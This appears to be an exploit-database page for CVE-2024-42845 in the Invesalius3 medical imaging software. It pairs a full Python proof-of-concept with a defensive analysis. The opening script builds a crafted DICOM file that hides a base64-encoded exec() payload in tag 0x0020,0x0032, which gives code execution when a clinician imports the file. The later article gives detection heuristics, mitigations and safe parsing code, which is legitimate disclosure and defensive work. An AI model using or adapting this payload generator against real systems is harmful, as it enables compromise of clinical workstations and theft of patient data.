Invesalius3 - Remote Code Execution

Exploit Author: Alessio Romano (sfoffo), Riccardo Degli Esposti (partywave) Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-08-28
# Exploit Title: Invesalius 3.1 - Remote Code Execution (RCE)
# Discovered By: Alessio Romano (sfoffo), Riccardo Degli Esposti (partywave)
# Exploit Author: Alessio Romano (sfoffo), Riccardo Degli Esposti
#(partywave)
# Date: 23/08/2024
# Vendor Homepage: https://invesalius.github.io/
# Software Link:
#https://github.com/invesalius/invesalius3/tree/master/invesalius
# Version: 3.1.99991 to 3.1.99998
# Tested on: Windows
# CVE: CVE-2024-42845
# External References:
#https://notes.sfoffo.com/contributions/2024-contributions/cve-2024-42845,
#https://github.com/partywavesec/invesalius3_vulnerabilities/tree/main/CVE-2024-42845,
#https://www.partywave.site/show/research/Tic%20TAC%20-%20Beware%20of%20your%20scan

# Description:
#----------------
#
#A Remote Code Execution (RCE) vulnerability exists in the DICOM file import
#procedure in Invesalius3. This vulnerability afflicts all versions from
#3.1.99991 to 3.1.99998. The exploitation steps of this vulnerability
#involve the use of a crafted DICOM file which, once imported inside the
#victim's client application allows an attacker to gain remote code
#execution over the victim's machine.

# Script:
#----------------
#
###
# The script below creates a specifically crafted DICOM payload for
#CVE-2024-42845. Remote Code Execution is gained once the DICOM file is
#imported inside the victim's client application.
###
import pydicom
import base64
import argparse

pydicom.config.settings.reading_validation_mode = pydicom.config.IGNORE


def encode_payload(plain_payload):
    data = open(plain_payload, 'rb').read()
    return f"exec(__import__('base64').b64decode({base64.b64encode(data)})"

def prepare_dicom_payload(dicom_file_path, payload):
    try:
        dicom_data = pydicom.dcmread(dicom_file_path)

        values = dicom_data[0x0020, 0x0032].value
        mal = [str(i) for i in values]
        mal.append(encode_payload(payload))
        
    except pydicom.errors.InvalidDicomError:
        print("The file is not a valid DICOM file.")
    except Exception as e:
        print(f"An error occurred: {e}")
    
    return mal


def modify_dicom_field(dicom_file_path, malicious_tag, outfile, sign):
    try:
        dicom_dataset = pydicom.dcmread(dicom_file_path)
        if sign:
            dicom_dataset.Manufacturer = "Malicious DICOM file creator"
            dicom_dataset.InstitutionName = "Malicious DICOM file institution"
        elem =  pydicom.dataelem.DataElement(0x00200032, 'CS', malicious_tag)
        dicom_dataset[0x00200032] = elem
        print(dicom_dataset)
        dicom_dataset.save_as(outfile)
    except Exception as e:
        print(f"An error occurred: {e}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Read a DICOM file.')
    parser.add_argument('--dicom', required=True, help='Path to the input DICOM file')
    parser.add_argument('--outfile', required=True, help='Path to the output DICOM file')
    parser.add_argument('--payload', required=False, default=b"print('Test')", help='File that contains the malicious plain python3 code')
    parser.add_argument('--signature', required=False, default=True)
    
    args = parser.parse_args()
    dicom_infile_path = args.dicom
    dicom_outfile_path = args.outfile
    print(args.signature)
    
    tmp_tag = prepare_dicom_payload(dicom_infile_path, payload=args.payload)
    if tmp_tag:
        malicious_tag = '\\'.join(tmp_tag)

        modify_dicom_field(dicom_infile_path, malicious_tag, dicom_outfile_path, sign=args.signature)
        exit(0)
    else:
        exit(1)


Invesalius3 Remote Code Execution (CVE-2024-42845): Analysis, Impact, and Mitigation

This article examines the Remote Code Execution (RCE) vulnerability tracked as CVE-2024-42845 affecting Invesalius3 (reported in versions around 3.1.99991–3.1.99998). It provides a high-level technical analysis (non-actionable), practical mitigation guidance for system administrators and developers, detection and forensic guidance, and safe coding patterns to reduce risk when handling DICOM files. The intent is defensive: to help teams understand exposure, harden environments, detect abuse, and remediate safely.

Executive summary

  • CVE-2024-42845 is an RCE vulnerability that arises during processing/import of crafted DICOM files by vulnerable Invesalius3 builds.
  • An attacker who can supply a malicious DICOM file to a victim (e.g., via removable media, email, or PACS) may achieve arbitrary code execution with the privileges of the user running the application.
  • Remediation involves updating Invesalius to a patched release (or applying vendor-supplied fixes), disabling auto-importing/untrusted file processing, sandboxing the application, and applying strict DICOM input validation and sanitization.

Background and affected versions

The vulnerability was reported in late 2024 and assigned CVE-2024-42845. Public reporting identifies affected Invesalius3 builds in the 3.1.99991–3.1.99998 range. Vendors typically deliver a patch or a newer official release; administrators should confirm the patched release from the Invesalius project page or official security advisory prior to updating.

High-level technical analysis (non-actionable)

DICOM is a complex standard: files combine binary pixel data with many textual metadata fields, private tags, and large sequences. Applications that treat metadata fields as untrusted data but then implicitly use them as code or as parameters to code-executing functionality (for example, via eval/exec-like behavior, unsafe deserialization, or constructing shell commands) create an avenue for code injection.

In this specific case the vulnerability is rooted in the application accepting crafted metadata values and using them in a way that allowed execution of attacker-controlled content when the file was imported. Public analyses emphasize that the risky behavior is not limited to any single DICOM tag — any mechanism that treats metadata as executable input can be abused.

Attack scenarios and potential impact

  • Supply-chain/file-delivery: Attacker distributes a malicious DICOM file (e.g., as an imaging study, via email or removable media). A clinician or analyst opens/imports it into the vulnerable Invesalius3 client and arbitrary code runs.
  • Network-based: If the PACS or imaging workflow accepts external DICOM sends, a compromised or malicious host could deliver the crafted file into the environment.
  • Impact: arbitrary code execution with user privileges (potentially lateral movement, credential theft, persistence). On clinician workstations this can expose patient data and the broader clinical network.

Detection and forensic indicators

Detection strategy should combine application-level indicators, endpoint telemetry, and network behavior.

  • Application-level: Unexpected DICOM records with unusually long or non-standard textual values in metadata fields, presence of encoded payload-like data inside text fields, or modification of Manufacturer/InstitutionName fields in suspicious ways.
  • Endpoint telemetry: New/unsual child processes spawned by the Invesalius process (powershell.exe, cmd.exe, wscript.exe, or other interpreters); command-line parameters that are unexpected; new files created in temporary directories shortly after DICOM import.
  • Network: Outbound connections shortly after DICOM import to unknown hosts or ports, especially to third-party IPs, cloud services, or known C2 ranges.
  • File artifacts: Look for DICOM files that contain high-entropy substrings (possible base64 blobs), strings such as "eval", "exec", "import", or other runtime keywords inside metadata (useful as a detection heuristic, but not proof of exploitation).

Example defensive detection (conceptual, non-actionable): patrol for sudden child processes of the Invesalius process or for DICOM metadata fields containing long base64-like strings. Implement monitoring rules in EDR and SIEM to alert on these behaviors.

Recommended mitigation and remediation (administrators)

  • Apply official patches: immediately upgrade to the vendor-released fixed version of Invesalius3. Confirm version numbers from the Invesalius project site or vendor advisory.
  • Disable auto-processing: configure clients to not automatically open or import DICOM files from untrusted sources. Require manual review and validation of incoming studies.
  • Least privilege & sandboxing: run Invesalius under an account with minimal privileges; consider executing it inside an application sandbox, container, or dedicated VM when opening externally sourced studies.
  • Endpoint controls: enable and tune application allow-listing (AppLocker, Windows Defender Application Control) and EDR to block or alert on suspicious child-process creation or on script interpreters invoked from the medical application context.
  • Network segmentation: isolate imaging workstations and PACS servers from general-purpose networks; limit inbound connections to PACS and apply strict authentication.
  • File scanning: integrate antivirus/anti-malware scanners that can inspect DICOM metadata and content. Reject studies that include suspicious metadata patterns until reviewed.

Development guidance (safe coding practices for DICOM processing)

Developers who parse and import DICOM files should never treat metadata as executable code. Below are defensive coding patterns and a safe parsing example that demonstrates sanitization and safe handling of DICOM metadata (safe, non-exploitative).

# Safe DICOM handling - conceptual example (Python/pydicom)
# - Do not eval/exec user-controlled strings
# - Read with strict validation
# - Limit what tags are accepted; remove unexpected values
# - Never interpret metadata as code or shell commands

import re
from pydicom import dcmread
from pydicom.errors import InvalidDicomError

BASE64_RE = re.compile(rb'^[A-Za-z0-9+/]{40,}={0,2}$')  # heuristic: long base64-like strings

def sanitize_dataset(ds):
    # Iterate copy of tags to avoid modification during iteration
    for tag in list(ds.keys()):
        val = ds.get(tag)
        if val is None:
            continue
        # Example heuristics: reject extremely long text fields and base64-like blobs
        if isinstance(val.value, (str, bytes)):
            v = val.value if isinstance(val.value, bytes) else val.value.encode(errors='ignore')
            if len(v) > 1024 or BASE64_RE.search(v):
                # remove or truncate suspicious metadata
                del ds[tag]
    return ds

def safe_load_dicom(path):
    try:
        # Avoid force=True; allow parser to validate file structure
        ds = dcmread(path, stop_before_pixels=True, force=False)
    except InvalidDicomError:
        raise
    # Sanitize metadata before any further processing or display
    ds = sanitize_dataset(ds)
    return ds

Explanation: This example demonstrates safe parsing choices — do not use force=True habitually (it weakens validation), avoid reading full pixel data unless necessary (stop_before_pixels=True), treat long or high-entropy strings as suspicious, and remove or truncate metadata that matches suspicious heuristics. Crucially, the code never executes or interprets metadata as code.

Developer hardening checklist

Action Reason
Eliminate use of eval/exec on file data Prevents metadata from being interpreted as code
Whitelist allowed DICOM tags and value types Reduces attack surface by ignoring private/unexpected tags
Implement input size and entropy limits Detects embedded blobs or script-like payloads
Separate parsing from rendering/execution Minimizes scope where untrusted data can affect behavior
Use code reviews, static analysis, and fuzzing Finds logic errors and input handling bugs early
Provide signed and verifiable file import workflows Prevents acceptance of untrusted or tampered files

Operational playbook: response and containment

  • If exploitation is suspected, isolate the impacted workstation from the network and preserve volatile evidence (running processes, memory if feasible) for forensic analysis.
  • Collect the suspicious DICOM file(s) and compute cryptographic hashes for further analysis and IOC creation.
  • Check EDR and network logs for lateral movement, unusual DNS queries, or connections to external servers; look for process trees spawned from the imaging application.
  • Reimage affected hosts if persistence or privilege escalation is suspected, and change credentials that may have been exposed.

Detection rules and telemetry (conceptual)

Below are safe, conceptual detection heuristics (for tuning in SIEM/EDR). These are intentionally generic to avoid giving exploit construction details:

  • Alert on Invesalius (or imaging application) spawning cmd.exe/powershell/wscript with obfuscated or base64-encoded command lines.
  • Alert on DICOM files imported that contain very long metadata values (>1KB) or fields with high entropy.
  • Alert on outbound network connections initiated by the imaging application to IPs not in a whitelist during or immediately after file import.

Responsible disclosure & references

Administrators and developers should consult the original public advisory and vendor channels for official patches and guidance. Public analyses and advisories about CVE-2024-42845 were published by the reporters; use those sources and the Invesalius project page to confirm patched releases and remediation steps.

Selected public resources (plain text; verify with vendor):

  • Project homepage: https://invesalius.github.io/
  • Public research and advisory pages from the reporters (search for CVE-2024-42845 and the investigators' writeups)

Final recommendations

  • Prioritize patching vulnerable Invesalius installations. If a vendor update is not immediately available, apply layered mitigations: disable auto-import, run the application with reduced privileges, block script interpreters from being launched by the application, and add DICOM metadata scanning to your AV/EDR workflows.
  • Adopt secure file-handling best practices in code: never execute or eval data-derived strings, whitelist tags, and sanitize metadata aggressively.
  • Harden PACS and imaging workflows through network segmentation, strong authentication, and provenance controls for image ingestion.